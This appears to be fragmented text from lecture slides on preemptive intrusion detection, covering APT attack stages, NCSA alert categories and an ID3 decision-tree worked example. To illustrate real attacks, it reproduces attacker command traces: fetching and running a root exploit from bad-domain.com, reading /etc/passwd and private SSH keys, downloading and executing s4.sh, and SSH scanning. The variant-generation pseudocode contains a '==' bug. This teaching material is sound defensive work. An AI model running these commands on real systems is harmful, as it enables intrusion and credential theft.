


An advanced persistent threat (APT) uses multiple phases to break into a network, avoid detection, and 
harvest valuable information over the long term (Symantec, 2016)







$ wget server6.bad-domain.
com/vm.c

Connecting to xx.yy.zz.tt:80… 
connected.
HTTP 1.1 GET /vm.c 200 OK

$ gcc vm.c -o a; ./a

Linux vmsplice Local Root 
Exploit       
…
# whoami 
root

$ uname -a; w
Linux 2.6.xx, up  1:17, 1 
user
USER     TTY   LOGIN@  
IDLE
xxx   console 18:40       1:
16

tcp 195.22.xxx.xxx.55554 ->  
141.142.237.95.22 FIN US

sshd: Received SIGHUP; 
restarting. 

alice:password123
bob:password456
…

alice:password123
bob:password456
…

http://server6.bad-domain.com
http://server6.bad-domain.com
http://server6.bad-domain.com


$ shasum(vm.c)
dcaa612d...

sshd[29120]: Failed unknown for invalid user user69 
sshd[29120]: Failed none for invalid user user69
sshd[29120]: Failed password for invalid user user69





http://bad-domain.com/vm.c
http://bad-domain.com/vm.c
http://bad-domain.com/vm.c








User state \ 
Functions

f1 f2 f3 f4

Benign, 
benign

0 0 1 0

Benign, 
suspicious

0 0 0 0

Suspicious, 
benign

1 0 1 0

Suspicious, 
suspicious

1 0 0 0

Suspicious, 
malicious

1 1 0 1

Malicious, 
benign

0 0 0 0

Malicious, 
suspicious

0 0 0 0

Malicious, 
malicious

0 0 0 0
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Event 
ID

Original attack Attack variant

1 Login using a weak password
sshd: Accepted password for globus from ::
ffff:64.18.xxx.xxx port 33382 ssh2

Login using guessed or stolen credential
sshd: Authentication failure for globus 
from 130.126.xxx.xxx port 36434 ssh2

2 Get operating system info and list of active users
uname –a; w

Get operating system info and list of active users
uname –a; w

3 Read content of the password file
cat /etc/passwd

Read content of the private SSH key
cat ~/.ssh/id_rsa

4 Download a file with a sensitive extension  using 
HTTP
wget members.lycos.co.uk/smashxxx/s4.sh

Download a file with a sensitive extension  using FTP
ftp members.lycos.co.uk/smashxxx/s4.sh

5 Install and run the malicious file
chmod +x s4.sh && ./s4.sh

Install and run the malicious file
chmod +x s4.sh && ./s4.sh

6 Run outbound SSH scan
pscan2 $IP

Run outbound SSH scan
pscan2 $IP



$ shasum(s4.sh)
dcaa612d...

open(“/etc/passwd”)

[1] Preemptive intrusion detection: Theoretical framework and real-world measurementsP Cao, E Badger, Z Kalbarczyk, R Iyer, A Slagell, HotSoS 2015

https://scholar.google.com/citations?view_op=view_citation&hl=en&user=MMDDvwIAAAAJ&citation_for_view=MMDDvwIAAAAJ:_kc_bZDykSQC
https://scholar.google.com/citations?view_op=view_citation&hl=en&user=MMDDvwIAAAAJ&citation_for_view=MMDDvwIAAAAJ:_kc_bZDykSQC




Attack stage Description Event (real NCSA alerts) Interchangeable events

Initial compromise An abnormal login activity ALERT ANOMALOUS HOST ALERT WEAK PASSWORD LOGIN
ALERT ROOT LOGIN
ALERT WATCHED COUNTRY LOGIN
ALERT COMPROMISED PROFILE LOGIN
ALERT SENSITIVE CREDENTIAL LOGIN

Escalate privilege A download of a source code file ALERT SENSITIVE HTTP URI ALERT SENSITIVE FTP URI
ALERT SENSITIVE SCP FILE
ALERT NEW IRC DOWNLOAD

Establish foothold
An attempt to gain persistent access ALERT NEW SYSTEM SERVICE ALERT NEW SHELL INIT ENTRY

An attempt to gain persistent access ALERT CHANGE CREDENTIAL ALERT NEW USER
ALERT NEW SSH AUTHORIZED KEY

Internal 
reconnaissance

An attempt to connect to command 
and control server

ALERT COLLECT SYSTEM INFO ALERT COLLECT SHELL HISTORY
ALERT READ USER LIST

Deliver payload
Extraction of secret data ALERT VIEW PASWORD FILE ALERT VIEW PRIVATE SSH KEY

Misuse of the target system ALERT HIGH NETWORK FLOW ALERT HOSTING HIDDEN SPAM







Name Description
Credential-stealing attack Compromise a gateway node that handles user authentication to steal 

username and passwords

Outbound brute-force SSH attack Launch outbound brute-force SSH attacks against external target nodes

Outbound Denial of Service attack Build a botnet and run Denial of Service attacks against external target nodes. 
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User state \ 
Functions

f1 f2 f3 f4

Benign, 
benign

0 0 0 0

Benign, 
suspicious

0 0 0 0

Suspicious, 
benign

1 0 1 0

Suspicious, 
suspicious

1 0 0 0

Suspicious, 
malicious

1 1 0 1

Malicious, 
benign

0 0 0 0

Malicious, 
suspicious

0 0 0 0

Malicious, 
malicious

0 0 0 0



Evaluated value of functions f
User state \ 
Functions

f1 f2 f3 f4

Benign, benign 0 0 0 0
Benign, suspicious 0 0 0 0

Suspicious, benign 1 0 1 0

Suspicious, 
suspicious

1 0 0 0

Suspicious, 
malicious

1 1 0 1

Malicious, benign 0 0 0 0

Malicious, suspicious 0 0 0 0

Malicious, malicious 0 0 0 0





ID3 (Iterative Dichotomiser 3) Tree



ID3 (Iterative Dichotomiser 3) Tree



Entropy
A formula to calculate the 
homogeneity of a sample.

A completely homogeneous sample 
has entropy of 0.

An equally divided sample has entropy 
of 1.

Entropy(s) = - p+log2 (p+) -p-log2 (p-) 
for a sample of negative and positive 
elements.

The formula for entropy is: 



Entropy(S) = 

- (9/14) Log2 (9/14) - (5/14) Log2 (5/14) 

= 0.940



Information Gain (IG)
The information gain is based on the decrease in 
entropy after a dataset is split on an attribute.

Which attribute creates the most homogeneous 
branches?

First the entropy of the total dataset is calculated.

The dataset is then split on the different 
attributes.

The entropy for each branch is calculated. Then it 
is added proportionally, to get total entropy for 
the split. 

The resulting entropy is subtracted from the 
entropy before the split.

The result is the Information Gain, or decrease in 
entropy.

The attribute that yields the largest IG is chosen 
for the decision node.



Person Hair 
Length

Weight Age Class

        Homer 0” 250 36 M
Marge 10” 150 34 F

Bart 2” 90 10 M
Lisa 6” 78 8 F

Maggie 4” 20 1 F
Abe 1” 170 70 M

Selma 8” 160 41 F
Otto 10” 180 38 M

Krusty 6” 200 45 M

Comic 8” 290 38 ?



Weight <= 160?yes no
Entropy(4F,5M) = -(4/9)log2(4/9) - (5/9)log2(5/9)

            =  0.9911

Entropy(4F,1M) = -(4/5)log
2(4/5) - (1/5)log

2(1/5)
            =  0.7219

Entropy(0F,4M) = -(0/4)log
2(0/4) - (4/4)log

2(4/4)
            =  0

Gain(Weight <= 160) = 0.9911 – (5/9 * 0.7219 + 4/9 * 0 ) = 0.5900

Let us 
try 

splittin
g on 

Weight



Hair Length <= 5?yes no
Entropy(4F,5M) = -(4/9)log2(4/9) - (5/9)log2(5/9)

            =  0.9911

Entropy(1F,3M) = -(1/4)log
2(1/4) - (3/4)log

2(3/4)
            =  0.8113

Entropy(3F,2M) = -(3/5)log
2(3/5) - (2/5)log

2(2/5)

            =  0.9710

Gain(Hair Length <= 5) = 0.9911 – (4/9 * 0.8113 + 5/9 * 0.9710 ) = 0.0911

Let us 
try 

splitting 
on Hair 
length



age <= 40?yes no
Entropy(4F,5M) = -(4/9)log2(4/9) - (5/9)log2(5/9)

            =  0.9911

Entropy(3F,3M) = -(3/6)log
2(3/6) - (3/6)log

2(3/6)
            =  1

Entropy(1F,2M) = -(1/3)log
2(1/3) - (2/3)log

2(2/3)

            =  0.9183

Gain(Age <= 40) = 0.9911 – (6/9 * 1 + 3/9 * 0.9183 ) = 0.0183

Let us 
try 

splitting 
on Age



Weight <= 160?yes no

Hair Length <= 2?yes no

Of the 3 features we had, 
Weight was best. But while 
people who weigh over 160 
are perfectly classified (as 

males), the under 160 people 
are not perfectly classified… 

So we simply recurse!

This time we find 
that we can split on 
Hair length, and we 

are done!



Weight <= 160?

yes no
Hair Length <= 2?

yes no

We need don’t need to 
keep the data around, just 

the test conditions.

Male

Male Female

How would 
these people be 

classified?



It is trivial to convert 
Decision Trees to 

rules… 

Weight <= 160?

yes no
Hair Length <= 2?

yes no
Male

Male Female

Rules to Classify Males/Females

If Weight greater than 160, classify as Male
Elseif Hair Length less than or equal to 2, classify as Male

Else classify as Female 



Vmsplice() exploit: unchecked user-provided memory 
address let a user writes to kernel memory



Vmsplice() exploit: unchecked user-provided memory 
address let a user writes to kernel memory





User state \ 
Functions

f1 f2 f3 f4

Benign, benign 0 0 0 0

Benign, 
suspicious

0 0 0 0

Suspicious, 
benign

1 0 1 0

Suspicious, 
suspicious

1 0 0 0

Suspicious, 
malicious

1 1 0 1

Malicious, 
benign

0 0 0 0

Malicious, 
suspicious

0 0 0 0

Malicious, 
malicious

0 0 0 0
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12. Use of k-nearest neighbor classifier for 
intrusion detection 



14. Identifying compromised users in shared 
computing infrastructures: a data-driven 
bayesian network approach 



14. Identifying compromised users in shared 
computing infrastructures: a data-driven 
bayesian network approach 



16. Analysis of Security Data from a Large 
Computing Organization 



17. Design and evaluation of a real-time url 
spam filtering service 



17. Design and evaluation of a real-time url 
spam filtering service 



17. Design and evaluation of a real-time url 
spam filtering service 



15. Reliability and Security Monitoring of Virtual Machines 
Using Hardware Architectural Invariants



15. Reliability and Security Monitoring of Virtual Machines 
Using Hardware Architectural Invariants



15. Reliability and Security Monitoring of Virtual Machines 
Using Hardware Architectural Invariants



15. Reliability and Security Monitoring of Virtual Machines 
Using Hardware Architectural Invariants



15. Reliability and Security Monitoring of Virtual Machines 
Using Hardware Architectural Invariants



15. Reliability and Security Monitoring of Virtual Machines 
Using Hardware Architectural Invariants



Index



Bayesian Event Classification for Intrusion 
Detection



MCNemar Test



Fair coin test



Masquerade attack
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Attack stage Description Event (real NCSA 
alerts)

Interchangeable events

Initial compromise An abnormal login 
activity

ALERT ANOMALOUS 
HOST

ALERT WEAK PASSWORD LOGIN
ALERT ROOT LOGIN
ALERT WATCHED COUNTRY LOGIN
ALERT COMPROMISED PROFILE 
LOGIN
ALERT SENSITIVE CREDENTIAL 
LOGIN

Escalate privilege A download of a source 
code file

ALERT SENSITIVE 
HTTP URI

ALERT SENSITIVE FTP URI
ALERT SENSITIVE SCP FILE
ALERT NEW IRC DOWNLOAD

Establish foothold An attempt to gain 
persistent access

ALERT NEW SYSTEM 
SERVICE

ALERT NEW SHELL INIT ENTRY

Establish foothold An attempt to gain 
persistent access

ALERT CHANGE 
CREDENTIAL

ALERT NEW USER
ALERT NEW SSH AUTHORIZED KEY

Internal reconnaissance An attempt to connect to 
command and control 
server

ALERT COLLECT 
SYSTEM INFO

ALERT COLLECT SHELL HISTORY
ALERT READ USER LIST

Deliver payload Extraction of secret data ALERT VIEW 
PASWORD FILE

ALERT VIEW PRIVATE SSH KEY

Deliver payload Misuse of the target 
system

ALERT HIGH 
NETWORK FLOW

ALERT HOSTING HIDDEN SPAM



generate_variant(L):
    indexes = [0,0,...,0]
    while indexes != None:
        print(indexes)
        indexes = next_indexes(indexes,L)
        
next_indexes(indexes,L):
    n = length(indexes)
    i = n - 1
    while True:
        indexes[i] == indexes[i] + 1
        if indexes[i] < length(L[i]): break
        indexes[i] = 0
        i = i - 1
        if i < 0: return None
    return indexes













11:00:57 sshd: Failed password for root
23:08:26 sshd: Failed password for root
23:08:30 sshd: Failed password for nobody
23:08:38 sshd: Failed password for <user>
23:08:42 sshd: Failed password for root
23:08:57 sshd: Failed password for root
23:09:22 sshd: Failed password for root
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